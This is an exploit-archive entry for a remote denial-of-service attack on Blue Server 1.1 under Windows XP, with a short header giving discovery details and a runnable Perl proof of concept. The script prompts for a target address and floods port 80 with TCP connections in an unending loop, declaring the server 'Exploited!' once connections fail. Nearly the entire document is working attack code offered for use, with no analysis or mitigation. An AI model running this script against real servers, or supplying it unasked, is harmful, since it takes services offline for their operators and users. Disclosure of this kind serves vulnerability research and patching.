# Exploit Title: Blue Server 1.1 - Denial of Service - DoS
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage: http://www.mafiatic.org/
# Software Link: https://master.dl.sourceforge.net/project/blueserver/Blue-Server-1.1.exe
# Notification vendor: No reported
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Remote - Denial of Service (DoS)

#2. Proof of Concept - PoC

#!/usr/bin/perl

use IO::Socket;

print "Enter address: ";
my $ip = <STDIN>;
chomp($ip);

my $port = 80;

my @d;
my $c = 0;

while (1) {
    eval {
        my $socket = IO::Socket::INET->new(
            PeerAddr => $ip,
            PeerPort => $port,
            Proto    => 'tcp'
        );

        die "Failed to socket: $!" unless $socket;

        print $socket "Denial of Service";
        print "Attack !\n";
        $c++;
    };

    if ($@) {
        print "[+] Exploited!\n";
        <STDIN>;
        last;
    }
}